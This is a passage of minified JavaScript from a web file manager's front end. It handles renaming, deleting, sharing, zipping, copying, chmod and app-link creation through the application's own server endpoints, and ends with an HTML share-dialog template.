value='"+r+"'/>";"icon"==G.user_config.list_type&&(l="<textarea class='fix' id='pathRenameTextarea'>"+r+"</textarea>",i.css({height:i.height()})),$(i).addClass("file_icon_edit").find(".title").html("<div class='textarea'>"+l+"<div>");var c=$("#pathRenameTextarea");"list_split"==G.user_config.list_type&&c.css({width:c.parents(".filename").width()-32,height:c.parents(".filename").height()+1});var d=a.length;"folder"!=s&&-1!=a.indexOf(".")&&(d=a.length-s.length-1),s||0!=a.indexOf(".")?c.textSelect(0,d):c.textSelect(0,a.length);var p=function(n){if("oexe"==s&&(n+=".oexe"),n!=a)e=o+a,n=o+n,t.rname(e,n,m);else{var r=a;".oexe"==r.substr(-5)&&(r=r.substr(0,r.length-5)),$(i).removeClass("file_icon_edit").find(".title").html(htmlEncode(r))}};c.focus().autoTextarea(),c.keydown(function(e){13==e.keyCode&&(e.preventDefault(),stopPP(e),p(c.attr("value"))),27==e.keyCode&&("oexe"==s&&(a=a.replace(".oexe","")),$(i).removeClass("file_icon_edit").find(".title").html(a))}).unbind("blur").blur(function(){p(c.val())})}},m=function(e){ui.fileLight.clear(),ui.f5Callback(function(){r(e),"explorer"==Config.pageApp&&ui.tree.checkIfChange(G.this_path)})},_=function(e){var t={},i=[];e.sort(function(e,t){return e.path==t.path?0:e.path>t.path?1:-1});for(var a=function(e){for(var i=e;""!=e;){if(t[e]!==void 0)return 1==t[e]?!0:i==e?(t[e]=1,!1):!0;e=core.pathFather(e)}return!1},n=0;e.length>n;n++)if("folder"==e[n].type){var o=rtrim(e[n].path,"/")+"/";t[o]||a(o)||(t[o]=0)}for(var n=0;e.length>n;n++){var o=e[n].path;"folder"==e[n].type&&(o=rtrim(o,"/")+"/"),a(o)||i.push(e[n])}return i},v=function(e){if(e){var t=[];return 0==ui.fileLight.fileListSelect().length?t:(ui.fileLight.fileListSelect().each(function(){var e=ui.fileLight.path($(this)),i="folder"==ui.fileLight.type($(this))?"folder":"file";t.push({path:e,type:i})}),_(t))}if(1!=ui.fileLight.fileListSelect().length)return{path:"",type:""};var i=ui.fileLight.fileListSelect(),a=ui.fileLight.path(i),n=ui.fileLight.type(i);return{path:a,type:n}},g=function(e,t){for(var i in G.json_data)if("filelist"==i||"folderlist"==i)for(var a=0;G.json_data[i].length>a;a++)if(G.json_data[i][a][e]==t)return G.json_data[i][a]};return{makeParam:v,history:s,getJsondataCell:g,checkSystemPath:n,appEdit:function(e){if(e)t.appEdit(0,0,"user_add");else{var i=ui.fileLight.fileListSelect().attr("data-app"),a=jsonDecode(base64Decode(i));a.path=ui.fileLight.path(ui.fileLight.fileListSelect()),t.appEdit(a)}},appList:function(){t.appList(v().path)},appInstall:function(){t.appInstall(v().path)},openEditor:function(){i.openEditor(v().path)},openWindow:function(){var e=v();return"folder"==e.type&&-1!=core.path2url(e.path).search("explorer/fileProxy")?(Tips.tips(LNG.path_can_not_action,!1),void 0):(i.openWindow(e.path),void 0)},open:function(e){if("editor"==Config.pageApp)return i.open(e),void 0;if(void 0!=e)return i.open(e),void 0;if(0!=ui.fileLight.fileListSelect().length){var t=v(),a=ui.fileLight.fileListSelect();if(inArray(core.filetype.image,t.type))return ui.picasa.initData(),ui.picasa.play($(a).find(".picasaImage")),void 0;if(0!=$(a).find(".file_not_exists").length)return Tips.tips(LNG.share_error_path,!1),void 0;if("oexe"==t.type){var n=a.attr("data-app");t.path=jsonDecode(base64Decode(n))}("list_split"!=G.user_config.list_type||"folder"!=t.type)&&i.open(t.path,t.type)}},play:function(){if(!(1>ui.fileLight.fileListSelect().length)){var e=[];ui.fileLight.fileListSelect().each(function(){var t=ui.fileLight.type($(this));if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var i=ui.fileLight.path($(this)),a=core.path2url(i,!1);e.push({url:a,name:core.pathThis(i),ext:t})}}),i.play(e)}},pathOperate:t,share:function(){t.share(v())},setBackground:function(){var e=core.path2url(v().path);ShareData.frameTop("",function(t){t.ui.setWall(e)}),ui.setWall(e),t.setBackground(e)},createLink:function(e){var i=v(),a=ui.fileLight.fileListSelect().last();i.name=trim(a.find(".filename").text()),t.createLink(i.path,i.name,i.type,e,m)},createProject:function(){t.createProject(v().path,m)},download:function(){var e=v(!0);1==e.length&&"file"==e[0].type?i.download(v().path):t.zipDownload(e)},shareEdit:function(){var e=g("path",v().path);try{var i=G.json_data.share_list[e.sid];t.shareBox(i)}catch(a){}},shareOpenWindow:function(){var e=g("path",v().path),t=e.type;"folder"==e.type&&(t=1==e.code_read?"code_read":"folder");var i="./index.php?share/"+t+"&user="+G.json_data.info.id+"&sid="+e.sid;window.open(i)},shareOpenPath:function(){var e=v(),t=g("path",e.path);if(!t||!G.json_data.share_list)return i.open(e.path,e.type),void 0;var a=G.json_data.share_list[t.sid],n=core.pathFather(a.path),o=core.pathThis(a.path);"folder"==a.type?ui.path.list(a.path,""):ui.path.list(n,"",function(){r(o)})},explorer:function(){core.explorer(v().path)},explorerNew:function(){window.open("index.php?/explorer&path="+v().path)},openProject:function(){core.explorerCode(v().path)},search:function(){core.search("",v().path)},fav:function(){var e=v(),i=ui.fileLight.fileListSelect().last();e.name=trim(i.find(".filename").text()),t.fav(e)},recycleClear:function(){t.remove([{type:"recycle_clear",path:""}],function(){ui.f5()})},remove:function(e,i){if(n()){var a=v(!0);G.json_data.info&&G.json_data.info.path_type==G.KOD_USER_SHARE&&G.json_data.info.id==G.user_id&&-1==trim(G.this_path,"/").indexOf("/")&&$.each(a,function(e){var t=g("path",a[e].path);void 0!=t&&(a[e].type="share",a[e].path=t.sid)}),t.remove(a,m,e,i)}},favRemove:function(){var e=$(".file.select .filename");e.each(function(i){var a=trim($(this).text());i!=e.length-1?t.favRemove(a,"",!0):t.favRemove(a,function(e){Tips.tips(e),ui.tree.refreshFav()},!0)})},copy:function(){n()&&t.copy(v(!0))},cute:function(){n()&&t.cute(v(!0),ui.f5)},zip:function(e){t.zip(v(!0),m,e)},unZip:function(e){n()&&t.unZip(v().path,ui.f5,e)},cuteDrag:function(e){t.cuteDrag(v(!0),e,m)},copyDrag:function(e,i){t.copyDrag(v(!0),e,m,i)},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){t.copyDrag(v(!0),e,m,!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){t.cuteDrag(v(!0),e,m)})},info:function(){t.info(v(!0))},past:function(){var e=G.this_path;"list_split"==G.user_config.list_type&&($containBox=$(".split_box.split_select"),1==$containBox.length&&(e=ui.fileLight.path($containBox))),t.past(e,m)},newFile:function(e){void 0==e&&(e="txt"),f("file",p("newfile",e),e)},newFolder:function(){f("folder",p(LNG.newfolder),"")},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+v().path;window.open(e)},rname:h,list:o,setSearchByStr:c,setSelectByChar:l,setSelectByFilename:r,clipboard:t.clipboard}}),define("app/common/pathOperate",[],function(e){var t=["/","\\",":","*","?",'"',"<",">","|"],i=["/","\\"],a=function(e){var a=function(e,t){for(var i=t.length,a=0;i>a;a++)if(e.indexOf(t[a])>0)return!0;return!1},n=i;return G.system_os&&"windows"==G.system_os&&(n=t),a(e,n)?(Tips.tips(LNG.path_not_allow+": "+n.join(", "),!1),!1):!0},n=function(e){for(var t=[],i=function(e){return e?e.replace(/"/g,'\\\\"'):e},a=0;e.length>a;a++)t.push({type:i(e[a].type),path:urlEncode(i(e[a].path))});return"data_arr="+jsonEncode(t)},o=function(e,t){for(var i="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",a=0;Math.max(e.length,t.length)>a;a++)if(e.charAt(a)!=t.charAt(a)){var n=i.indexOf(e.charAt(a)),o=i.indexOf(t.charAt(a));return-1!=n&&-1!=o?n>o?1:o>n?-1:0:e.charAt(a)>t.charAt(a)?1:e.charAt(a)<t.charAt(a)?-1:0}return 0},s=function(e,t){if(void 0==e||void 0==t)return 0;var i=/([0-9\.]+)/g,a=(""+e).toLowerCase()||"",n=(""+t).toLowerCase()||"",s=String.fromCharCode(0),r=a.replace(i,s+"$1"+s).split(s),l=n.replace(i,s+"$1"+s).split(s),c=new Date(a).getTime(),d=c?new Date(n).getTime():null;if(d){if(d>c)return-1;if(c>d)return 1}for(var p=0,u=Math.max(r.length,l.length);u>p;p++)if(oFxNcL=parseFloat(r[p])||r[p],oFyNcL=parseFloat(l[p])||l[p],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var f=o(oFxNcL,oFyNcL);if(0!=f)return f}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},r=function(e,t){if(e){var i=core.pathThis(e);return a(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&e&&e.info&&t(e.info)}}),void 0):("function"==typeof t&&t(),void 0)}},l=function(e,t){if(e){var i=core.pathThis(e);return a(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof t&&Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&e&&e.info&&t(e.info)}}),void 0):("function"==typeof t&&t(),void 0)}},c=function(e,t,i){return e&&t&&e!=t?a(core.pathThis(t))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(t),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&e&&e.info&&i(e.info)}}),void 0):("function"==typeof i&&i(),void 0):void 0},d=function(e,t,i,a){if(i=void 0==i?!1:i,a=void 0==a?!1:a,!(1>e.length)){var o=LNG.remove_title,s=LNG.remove_info,r="index.php?explorer/pathDelete",l=n(e);"share"==e[0].type&&(o=LNG.share_remove,s=LNG.share_remove_tips,r="index.php?userShare/del"),a&&(s=LNG.remove_info_force,o=LNG.remove_title_force,r+="&shiftDelete=1"),("recycle_clear"==e[0].type||G.USER_RECYCLE&&G.this_path==G.USER_RECYCLE||G.this_path==core.pathFather(G.myhome)+"recycle_kod/")&&(s=LNG.recycle_clear_info,r="index.php?explorer/pathDeleteRecycle",o=LNG.recycle_clear,"recycle_clear"==e[0].type&&(l={})),e.length>1&&(s+=' ... <span class="badge">'+e.length+"</span>");var c=function(){$.ajax({url:r,type:"POST",dataType:"json",data:l,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(i){if(Tips.close(i),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.self_share=i.info;var a=$.dialog.list.share_dialog;void 0!=a&&a.close()}o==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof t&&t(i)}})};i?c():$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:o,padding:"40px 80px 40px 30px",lock:!0,background:"#000",opacity:.1,content:s,ok:c,cancel:!0})}},p=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCopy",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},u=function(e){var t=e.path,i=core.pathPre(t);if(i==G.KOD_GROUP_PATH||i==G.KOD_GROUP_SHARE||i==G.KOD_USER_SHARE)return Tips.tips(LNG.path_can_not_action,"warning"),void 0;var a="folder"==e.type?"folder":"file";1>t.length||core.authCheck("userShare:set")&&$.ajax({url:"./index.php?userShare/checkByPath&path="+urlEncode(t),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)f(e.data);else{G.self_share=e.info;var i={path:t,type:a,name:core.pathThis(t)};h(i,function(e){e.code?(G.self_share=e.info,ui.f5(),f(e.data)):(Tips.tips(e),f(void 0,function(){$(".content_info input[name=type]").val(a),$(".content_info input[name=path]").val(t),$(".content_info input[name=name]").val(core.pathThis(t)+"(1)"),"file"==a&&($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden"))}))})}}})},f=function(t,i){0!=$(".share_dialog").length&&$(".share_dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(t),void 0!=i&&i()})},h=function(e,t){$.ajax({url:"index.php?userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share_create_button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share_create_button").removeClass("disabled"),void 0!=t&&t(e)}})},m=function(t){var i=e("./tpl/share.html"),a=template.compile(i),n=a({LNG:LNG});$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:n});var o="zh-CN"==G.lang?"ch":"en";$("#share_time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share_time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share_setting_more").addClass("hidden"),void 0==e)$(".share_has_url").addClass("hidden"),$(".share_action .share_remove_button").addClass("hidden"),$(".content_info input[name=sid]").val(""),$(".content_info input[name=type]").val(""),$(".content_info input[name=name]").val(""),$(".content_info input[name=show_name]").val(""),$(".content_info input[name=path]").val(""),$(".content_info input[name=time_to]").val(""),$(".content_info input[name=share_password]").val(""),$(".share_view_info").addClass("hidden");else{e.can_upload===void 0&&(e.can_upload=""),t=e,e.show_name||(e.show_name=e.name),$(".content_info input[name=sid]").val(e.sid),$(".content_info input[name=type]").val(e.type),$(".content_info input[name=name]").val(e.name),$(".content_info input[name=show_name]").val(e.show_name),$(".content_info input[name=path]").val(e.path),$(".content_info input[name=time_to]").val(e.time_to),$(".content_info input[name=share_password]").val(e.share_password),$(".share_view_info").removeClass("hidden"),e.num_download===void 0&&(e.num_download=0),e.num_view===void 0&&(e.num_view=0);var i=LNG.share_view_num+e.num_view+" "+LNG.share_download_num+e.num_download;$(".share_view_info").html(i),"1"==e.code_read?$(".content_info input[name=code_read]").attr("checked","checked"):$(".content_info input[name=code_read]").removeAttr("checked"),"1"==e.not_download?$(".content_info input[name=not_download]").attr("checked","checked"):$(".content_info input[name=not_download]").removeAttr("checked"),"1"==e.can_upload?$(".content_info input[name=can_upload]").attr("checked","checked"):$(".content_info input[name=can_upload]").removeAttr("checked"),$(".share_has_url").removeClass("hidden"),"file"==e.type?($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")):($(".label_code_read").removeClass("hidden"),$(".label_can_upload").removeClass("hidden"));var a=e.type;"folder"==e.type&&(a=1==e.code_read?"code_read":"folder");var n=G.app_host+"index.php?share/"+a+"&user="+G.user_id+"&sid="+e.sid;$(".content_info .share_url").val(n),(e.time_to||e.share_password||e.can_upload||e.code_read||e.not_download)&&$(".share_setting_more").removeClass("hidden"),$(".share_remove_button").removeClass("hidden"),$(".share_create_button").text(LNG.share_save)}},r=function(){$(".share_action .share_remove_button").unbind("click").click(function(){d([{type:"share",path:t.sid}],function(){ui.f5()})}),$(".content_info .share_more").unbind("click").click(function(){$(".share_setting_more").toggleClass("hidden")}),$(".share_action .share_create_button").unbind("click").click(function(){var e="";$(".share_dialog .content_info input[name]").each(function(){var t=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(t=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+t}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.self_share=e.info,ui.f5(),s(e.data),$(".share_create_button").text(LNG.share_save)):Tips.tips(e)})}),$(".content_info .open_window").unbind("click").bind("click",function(){window.open($("input.share_url").val())}),$(".content_info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share_url").val())});var e=$("input.share_url"),i=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var t=e.val().length;if($.browser.msie){var a=i.createTextRange();a.moveEnd("character",-i.value.length),a.moveEnd("character",t),a.moveStart("character",0),a.select()}else i.setSelectionRange(0,t)})};s(t),r()},_=function(e){$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},v=function(e,t,i,a,n){if(console.log(e,t,i,a,n),!(1>e.length)){var o,s=G.my_desktop;a&&(s=core.pathFather(e)),o="folder"==i?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+t+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=i),$.ajax({url:"./index.php?explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof n&&n(e.info))}})}},g=function(e,t){if(!(1>e.length)){var i=core.pathThis(e),a=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var n=urlEncode(a+i+"_project.oexe");$.ajax({url:"./index.php?explorer/mkfile&path="+n,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof t&&t(e.info)}})}},b=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCute",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},y=function(e,t){e&&(Tips.loading(LNG.moving),setTimeout(function(){var i="index.php?explorer/pathPast&path="+urlEncode(e);$.ajax({url:i,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof t&&t(e.info)}})},50))},k=function(t){var i={};i.file_info=e("./tpl/fileinfo/file_info.html"),i.path_info=e("./tpl/fileinfo/path_info.html"),i.path_info_more=e("./tpl/fileinfo/path_info_more.html"),1>t.length&&(t=[{path:G.this_path,type:"folder"}]);var a="info";1==t.length&&(a="file"==t[0].type?core.pathExt(t[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(n(t),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var n="path_info_more",o=LNG.info;1==t.length&&(n="folder"==t[0].type?"path_info":"file_info",o=core.pathThis(t[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(i[n]),r=UUID();e.data.is_root=G.is_root,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.size_friendly=core.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(a),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui_outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),w(r,t)})},w=function(e,t){var i=$("."+e);i.find(".open_window").bind("click",function(){window.open(i.find("input.download_url").val())}),i.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(i.find("input.download_url").val(),i.find(".qrcode").get(0))});var a=i.find(".file_md5_loading");if(1==a.length){var o=n(t);o+="&get_md5=1",core.fileInfo(o,function(e){a.removeClass("file_md5_loading"),e.code?a.html(e.data.file_md5):a.html(LNG.error)})}var s=i.find("input.download_url"),r=s.get(0);s.unbind("hover click").bind("hover click",function(){$(this).focus();var e=s.val().length;if($.browser.msie){var t=r.createTextRange();t.moveEnd("character",-r.value.length),t.moveEnd("character",e),t.moveStart("character",0),t.select()}else r.setSelectionRange(0,e)}),i.find(".edit_chmod").click(function(){var e=$(this).parent().find("input"),i=$(this);$.ajax({url:"index.php?explorer/pathChmod&mod="+e.val(),type:"POST",data:n(t),beforeSend:function(){i.text(LNG.loading)},error:function(){i.text(LNG.button_save)},success:function(e){i.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){i.text(LNG.button_save)}),e.code&&ui.f5()}})})},x=function(e){if(core.authCheck("explorer:fileDownload")&&!(1>e.length)){var t="index.php?explorer/zipDownload"; -G.share_page!==void 0&&(t="index.php?share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var t="index.php?explorer/fileDownloadRemove&path="+urlEncode(e.info);G.share_page!==void 0&&(t="index.php?share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('<iframe src="'+t+'" style="display:none;width:0px;height:0px;"></iframe>').appendTo("body")}})}},N=function(e,t,i){1>e.length||(i||(i="zip"),$.ajax({url:"index.php?explorer/zip&fileType="+i,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}}))},L=function(e,t,i){if(e){var a=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e)}})},n="index.php?explorer/unzip&path="+urlEncode(e);"to_this"==i&&(n+="&to_this=1"),"unzip_to_folder"==i?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){n+="&path_to="+e,a(n)}):a(n)}},C=function(e,t,i){t&&$.ajax({url:"index.php?explorer/pathCuteDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(t+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},z=function(e,t,i,a){t&&(void 0==a&&(a=0),$.ajax({url:"index.php?explorer/pathCopyDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(t+"/")+"&filename_auto="+Number(a),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}}))},T=function(){var e=function(e,t){var i='<div style="padding:20px;">null!</div>';if(0!=e.length){i='<div style="height:200px;overflow:auto;padding:10px;width:400px"><b>'+LNG.clipboard_state+LNG[t]+"</b><br/>";for(var a=40,n=0;e.length>n;n++){var o=e[n],s=o.path;s=a>s.length?s:"..."+s.substr(-a),i+="<br/>"+o.type+": <a href='javascript:ui.pathOpen.open(\""+htmlEncode(o.path)+'","'+o.type+"\");'>"+s+"</a>"}i+="</div>"}return i};$.ajax({url:"index.php?explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(t){t.code&&$.dialog({title:LNG.clipboard,padding:0,height:200,width:400,content:e(t.data,t.info)})}})},j=function(e,t,i){var a=function(){$.ajax({url:"index.php?fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof t&&t(e)}})};return i?(a(),void 0):($.dialog({id:"dialog_fav_remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:a,cancel:!0}),void 0)},S=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var t=core.getPathIcon(e.path,e.name);""!=t.icon&&(e.ext=t.icon,e.name=t.name)}$.ajax({url:"index.php?fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&"desktop"!=Config.pageApp&&ui.tree.refreshFav()}})}},E=function(e){var t={};return t.type=e.find("input[type=radio]:checked").val(),t.content=e.find("textarea").val(),t.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");t[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");t[e]="checked"==$(this).attr("checked")?1:0}),t},P=function(e){e.find(".type input").change(function(){var t=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+t+"]").removeClass("hidden")}),e.find(".app_edit_select_icon").unbind("click").bind("click",function(){var t=G.basic_path+"static/images/file_icon/icon_app/";G.is_root||(t=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:t},function(t){var t=core.path2url(t);e.find(".app_edit_select_icon_input").val(t)})}),e.find(".size-full").unbind("click").bind("click",function(){var t=$(this).prop("checked");t?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},D=function(t,i,a){var n,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/app_edit.html"),d=template.compile(c);switch(void 0==a&&(a="user_edit"),"root_edit"==a&&(t=t),"user_edit"==a||"root_edit"==a?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:t})):s=d({LNG:LNG,uuid:l,data:{}}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(E(n)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=E(n);switch(a){case"user_add":var s=urlEncode(G.this_path+e.name);o="./index.php?app/user_app&action=add&path="+s;break;case"user_edit":o="./index.php?app/user_app&path="+urlEncode(t.path);break;case"root_add":o="./index.php?app/add&name="+urlEncode(e.name);break;case"root_edit":o="./index.php?app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(t.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("root_edit"==a||"root_add"==a){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof i?i():ui.f5()}})}}]}),n=$("."+l),G.is_root||$(".appbox .appline .right a.open").remove(),t.group&&n.find("option").eq(t.group).attr("selected",1),n.find(".aui_content").css("overflow","inherit"),a){case"user_edit":n.find(".name").addClass("hidden"),n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("option[value="+t.group+"]").attr("checked",!0);break;case"user_add":n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_add":n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_edit":n.find("option[value="+t.group+"]").attr("selected",!0);break;default:}P(n)},A=function(){core.appStore()},F=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:"./index.php?app/get_url_title&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(t){var i=t.data;i=i.replace(/[\/\\]/g,"_"),Tips.close(t);var a={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:i,resize:1,simple:0,height:"70%",width:"90%"},n=urlEncode(G.this_path+i);e="./index.php?app/user_app&action=add&path="+n,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{strSort:s,appEdit:D,appList:A,appAddURL:F,share:u,shareBox:f,setBackground:_,createLink:v,createProject:g,newFile:r,newFolder:l,rname:c,unZip:L,zipDownload:x,zip:N,copy:p,cute:b,info:k,remove:d,cuteDrag:C,copyDrag:z,past:y,clipboard:T,fav:S,favRemove:j}}),define("app/common/tpl/share.html",[],'<div class=\'content_box\'>\n <div class=\'title\'>\n <div class="titleinfo">{{LNG.share_title}}</div>\n <div class="share_view_info"></div>\n </div>\n <div class=\'content_info\'>\n <div class="input_line">\n <span class="input_title">{{LNG.share_path}}:</span>\n <input id="share_name" type="text" name="path" value="" />\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.share_name}}:</span>\n <input type="hidden" name="sid"/>\n <input type="hidden" name="type"/>\n <input type="hidden" name="name"/>\n <input id="share_name" type="text" placeholder="{{LNG.share_name}}" name="show_name"/>\n <a href="javascript:void(0);" class="share_more">{{LNG.more}}<b class="caret"></b></a>\n <div style="clear:both"></div>\n </div>\n\n <div class="share_setting_more hidden">\n <div class="input_line">\n <span class="input_title">{{LNG.share_time}}:</span>\n <input id="share_time" type="text" placeholder="{{LNG.share_time}}" name="time_to"/>\n <i class="desc">{{LNG.share_time_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.share_password}}:</span>\n <input type="text" placeholder="{{LNG.share_password}}" name="share_password"/>\n <i class="desc">{{LNG.share_password_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line share_others">\n <span class="input_title">{{LNG.others}}:</span>\n <label class="label_code_read">\n <input type="checkbox" name="code_read" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_code_read}}</span>\n </label>\n <label>\n <input type="checkbox" name="not_download" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_not_download}}</span>\n </label>\n <label class="label_can_upload">\n <input type="checkbox" name="can_upload" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_can_upload}}</span>\n </label>\n\n <div style="clear:both"></div>\n </div>\n </div>\n\n <div class="input_line share_has_url clear">\n <span class="input_title">{{LNG.share_url}}:</span>\n <div class="input-group">\n <input type="text" class="share_url" aria-label="Text input with segmented button dropdown">\n <div class="input-group-btn">\n <button type="button" class="btn btn-default open_window">{{LNG.open}}</button>\n <button type="button" class="btn btn-default qrcode"><i class="icon-qrcode"></i></button>\n </div>\n <!-- <div class="share_jiathis_box"></div> -->\n </div>\n <div style="clear:both"></div>\n </div>\n </div>\n <div class="share_action">\n <button type="button" class="btn btn-primary share_create_button">{{LNG.share_create}}</button>\n <a type="button" href="javascript:void(0);" 